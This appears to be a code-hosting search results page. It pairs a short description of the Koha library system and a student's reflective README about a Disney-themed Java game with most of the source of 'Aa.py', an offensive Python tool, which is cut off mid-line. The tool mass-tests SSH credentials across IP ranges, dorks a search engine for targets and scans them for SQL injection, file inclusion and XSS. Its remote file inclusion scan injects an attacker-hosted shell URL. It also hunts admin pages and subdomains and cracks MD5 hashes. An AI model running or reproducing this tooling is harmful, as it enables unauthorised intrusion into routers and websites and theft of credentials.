15 skills found
liblime / LibLime KohaLibLime Koha is the most mature of the open source ILS applications. Based on the ground-breaking 3.0 platform (derived from the original Koha offering of 1999), LibLime Koha is a completely web-based open source ILS, with library staff, systems librarians, and library users all accessing LibLime Koha through a web browser. Relying on the MySQL relational database, all LibLime Koha data is readily accessible.
qixuanHou / Mapping My BreakPlease Read Me First. This is a set of java file of my final version of electronic artifacts. This is a game to map my experience in Disney World, in Orlando during this spring break. However, because of my limited skills in computer science, I really have no idea how to simplify the process to run the game. Sorry for the inconvenience. In order to run the game, you may need to install JAVA. I hope the following links will help you. http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html#javasejdk http://www.cc.gatech.edu/~simpkins/teaching/gatech/cs1331/guides/install-java.html My main file is called Disney. You can call Disney in console to start the game. However, I failed to putting all the things inside Disney file. Therefore, you may also need to call AdventureLand, MainStreet, and FrontierLand to start other three games. I hope this will help you. Sorry again for the inconvenience. 1. the structure of my project My project only focused on my trip in Magic Kingdom, one part of Disney world in Orlando. It is a game which guides players to choose from six sub-games, which match six sections of the park, Main Street U.S.A, Tomorrowland, Adventureland, Frontierland, Fantasyland and Liberty Square. I chose one of the rides I took in each section which, from my perspective, shows what I found interesting in Disney world. I changed what I experienced in the park into a small computer game. I want to share my experience with others while they play my games. In the following part of self reflection, I explain the background, rules and other things about each game. For convenience of matching them, I use different color to mark different parts. I hope it will help readers a little bit when they are lost in my disordered reflections. 1. the hall of presidents - Liberty Square 2. Festivall parade - Fantasyland (I explain this one in the part of technology skill limitations) 3. Big Thunder Mountain Railroad - Frontierland 4.talking with Woody- Adventureland 5. Stitch Store - Tomorrowland 6. lunch time - Main Street USA 3. my reflection of the trip in Disney World from dream to reality When I exited Disney resort, I found a sign along the street welcomed people back to real world. Actually, when I was in Orlando, I couldn't believe as an adult, people can mess up fantasy world in the theme parks and the real world. Nevertheless, I felt I was still in fantasy world, when I dreamed twice that I fought for the key to open the door of future. As is known to all, while sleeping, people always dream about what people thinks in the daytime. Therefore, my dream shows that my mind still stayed in the world with Mickey and Donald. I believe that it is experiencing fantasy world which is the source of the greatest happiness people get from theme park. On the one hand, everybody has pressure in real life especially for adults. They can get out of pressure for a day trip in theme park. They can experience different lives here with cartoon characters. On the other hand, sometimes, it is a really hard task to fulfill some dreams, such as being a princess. However, in Disney world, you can dress up the same as Snow White, waiting for your prince; you can go to space by rocket; you can also travel all over the world in one day and enjoy the food of each country. These are all the magic of theme parks. Therefore, in my game, I learnt the way which Disney design their rides to focus on the background story of the game instead of the game itself. For example, there is a ride called Big Thunder Mountain Railroad, which streaks through a haunted gold-mining town aboard a rollicking runaway mine train. The views around the ride were like a gold mining town. There were tools for gold-mining around the railroad and the railroad looked like very old. In order to show riders that it was a haunted gold-mining town, the train always took a sudden turn or speed up quickly to scare people. I decided to name one of my game, which was inspired by this ride, the same name, Big Thunder Mountain Railroad. Instead of sitting inside the mine train to travel around the haunted town, mine was for users to use keyboard to control the train to travel around the gridding railroad. I place traps inside several parts of gridding to "scare" players, who cannot know where traps are until they get into them. If I know how to use animation, I will show scary pictures when players drive their train to the traps. Unlike the ride in Disney, my players can no longer travel once they encounter a trap because their train may have some problems to keep moving. Also, the main goal in the game is to find the gold. However, as we know, finding gold is really hard. Therefore, players must go to find Aladdin's Wonderful lamp where also places inside the gridding while players cannot see its exact place until they happen to drive inside the part where lamp is. Aladdin's Wonderful lamp will show players the map of the gold and when people get to the gold mine, they win. However, there is another limitation of the game. Haunted town is so dangerous during the night. Therefore, players only have 12 hours to finish the task. Train can drive one square in 20 min. Therefore, train can only move 36 times or they will also be caught by traps. In this game, I want to show audiences I have a background story like rides in Disney World. Players need to find the gold in a haunted gold-mining town. Also, in order to show the relationship with Disney, I use Aladdin's Wonderful Lamp as the guide for the players, which is a well known characters in Disney cartoon. I created another game, called talking with Woody to show the magic power of Disney characters. There are a lot of chances to meet Disney characters in Disney world. On the one hand, travelers, especially small kids, are really excited to meet the characters they watched on TV. I think some kids may believe they take pictures with real Mickey Mouse. On the hand, staffs in Disney who wear the costumes are really tired. It was hot in Orlando last week, but all costumes were very heavy. I was moved by the staffs inside Mickey. They also need to mimic the actions of characters and also need to show kindness and warmness to children. It seems like a really hard job. Therefore, I decide to show this part of Disney in my project as well. I decided to use Woody, a toy all the toys look up to. He is smart, kind and brave like a cowboy should be. He is more than a top, he is friend to everyone enjoying the movie Toy. In order to create an interactive game, I planned to ask players to guide Woody. Players need to call Woody before their instructions. For instance, if players say (actually players are typing) "Woody, please sit down", Woody will sit down (actually, there will be another line on the screen showing the same as players import). However, if players are rude and just say "sit down" without calling Woody, Woody won't act (actually there is just nothing showing up on the screen). great facilities to provide convenience to everyone The facilities to satisfy needs for special groups of people, like small kids or disabled people, are well developed. In the past in China, it seemed impossible for parents to take infants and small kids to travel. The road is not flat or wide enough for strollers or wheelchairs. However, in Disney world, everything seemed like well prepared for everyone to use. There are strollers rentals, and electric conveyance vehicles rentals, which are available to rent throughout Disney world. There are baby care center for mothers to feed, change and nurse little ones. There are locker rentals for storing personal items. There are also hearing disability services which have sign language interpretation to help disabled people to enjoy fantasy world. There are still a lot other convenient services in Disney world. I think the purpose of these services show the pursue of equality among everyone in the world. On the one hand, I am really touched by the availability of these services here. It seems Disney try its best to service everyone who have desire to experience fantasy land. On the other hand, in this way, Disney can attract more travelers in order to make more money in some ways. Also, in Disney, it seems like a tradition that there are stores at the exit of the famous rides. Somebody may think it is just a strategy to make people shopping a lot. However, I think it also provides some convenience that travelers can buy souvenirs where is memorable. For example, when I finished my trip in Escape Stitch, I entered a store with a lot of kinds of Stitch, like Stitch pillow, Stitch key chain and so on. I really want to buy something in order to remind me the wonderful feelings. Therefore, I showed my opinion inside my game as well. I wrote one part is for shopping. The items are different kinds of Stitch. My codes can act as a robot to help customers to shop in the store. There are a lot of restaurants in Disney. Maps of Disney are full of restaurants' name. The greatest things about the food are in Epcot, I experienced different counties in one day. I felt like I was in fast travel in different parts of the world and tasted their special food and snacks while I was on the way. I remembered I was still eating Japanese food when I was in "Mexico". It was a great experience. However, there were always a long waiting lines for the all restaurants. People needed to reserve a table a day before their trip and even they had the reservation, they still needed to wait for a long time. I think Disney may need some good ways to fix the problems of waiting for a long time. I have no idea of changing the situation of restaurants, but I think if there are robots to customers to order in fast food restaurant, it may help a lot. Thus, I have another code to customers to order in Plaza Restaurant. If this kind of robots can work in the real life, people can order by themselves and there will be more staffs available to prepare food. theme park uses interesting ways to teach knowledge of boring topics Theme part is also a great source of learning knowledge, especially for kids. They use Disney characters, interesting shows, or even games to teach useful things. The ways change the boring knowledge to interesting things, which always attract children's attention. The most amazing one was an interactive game in Epcot's Innoventions, called "where's the fire?", which teaches adults and children basic fire safety in a fun and entertaining way. About every five minutes, the players waiting in line are divided into two groups and move into the home's entry. Here, a host will explain the object of the game and lay out the rules. The scenario is this: you are on a mission to discover a number of fire hazards commonly found around the house. To do this, you move from room to room, looking for potential risks. To help in the task, each player is given a special "safely light" to help uncover lurking dangers. The rooms are large projection screens. When a hazard is discovered, all persons in the room must shine their safety light on the same spot. when they do, the hazard is rendered harmless and points are assigned. After playing in the game to find the hazardous things in the house, I learned a lot of safety tips. It is much easier to remember the tips I learned during the game than those I learned on textbook or internet. I believe kids will enjoy the games and learn from them as well. I also tried to show this reflection in my project. Thus, I planned to make a game, called the hall of presidents, which test people's knowledge of presidents in USA. However, I failed to achieve the goal of making it an entertaining game instead of a quiz. My game was still like a quiz. However, because it is the only code which can work well inside my big game. I decide to still hold the game for my projects in order to what my original ideas are. 4. technology skill limitations I feel terribly sorry for my limited skills in CS. It is my first time to learn JAVA this semester. I just begin to learn the core concepts of JAVA this month. When I choose to use java code for this project, I know I will face plentiful limitations and problems. Here I want to express my gratitude to Dr. Johnson, who encouraged me not to give up my ideas. To be honest, I have no idea of how to change a java code into a real game with animations. I know the background story of the game is more important for English course and pictures are the best way to show the background, but I have no idea to show all these things by JAVA coding. Therefore, I choose to use videos for my presentation. In this way, I can show my animation inside the videos while the code clue of my game is still composed by JAVA coding. Also, video gives me a lot of freedom when choose my contents for presentation. I can explain a lot details of my project clearly through videos. For example, I found the festival parade in the magic kingdom was great and I wanted to share the experience in my project by showing the pictures or videos. However, because of the technology limitations, I can only show the videos in my presentations. Also, I mistakenly deleted my videos which I shot on my trip Orlando, I can only share others' parade show...... Also, I want to apologize for the incompleteness of my game. I only dedicated to writing codes for Magic Kingdom, a part of my trip during spring break. Writing codes is a really time consuming task for me. In general, I need to spend more than eight hours to finish one project for my CS assignment this semester. While for this project, the final artifacts are composed of several parts of codes and in the end I need to write the father code in order to take care of my code family for spring break. Due to my limitation in writing codes, I can only finish one part of Disney world. However, I think my code shows all my reflections and perspectives during my trip, even though it looks like it only shows one part of my trip. The terrible mistake I made is that I found out the most of my codes I wrote had significant errors on Tuesday. I went to CS TA office for help, while the errors were still impossible to fix in order to achieve the goal I planned to get. Consequently, my game have to be separated into several parts. Instead of a big game having others as sub-games inside the big one, my final artifacts are composed by several small games. I need to start them one by one. It may cause some inconvenience for players to map their trip in Disney world.
udinparla / Aa.py#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No 